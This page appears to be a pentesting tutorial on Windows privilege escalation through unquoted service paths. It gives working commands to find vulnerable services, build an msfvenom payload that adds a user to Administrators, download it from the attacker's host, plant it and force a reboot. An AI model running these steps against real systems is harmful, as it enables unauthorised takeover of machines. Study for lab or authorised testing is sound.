Windows PrivEsc with Unquoted Service Path
A service path with unquoted and spaces might be vulnerable to privilege escalation.
In target machine, find unquoted service path.
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\\Windows\\" | findstr /i /v """ "
Copied!
Also query the configuration information for a service.
sc qc "Development Service"
Copied!
For instance if the service path is "C:\Program Files\Development Files\Devservice Files\Service.exe", we can place the exploit to "C:\Program Files\Devservice.exe" by ignoring paths after a space.
In local machine, create a payload using msvenom. Replace "victim-user" with the target user who we can access to.
msfvenom -p windows/exec CMD='net localgroup Administrators victim-user /add' -f exe-service -o Devservice.exe
Copied!
Now transfer the payload to target machine.
Invoke-WebRequest -Uri http://<local-ip>:8000/Devservice.exe -OutFile .\Devservice.exe
Copied!
Then place the payload to the path where we've found in investigation.
mv .\Devservice.exe '\Program Files\Development Files\'
Copied!
icacls 'C:\Program Files\Development Files\Devservice.exe' /grant Everyone:F
Copied!
Restart the target machine, then the victim user should have an administrator's privilege.
# Restart
shutdown /r /t 0
# or PowerShell's command
Restart-Computer
Last updated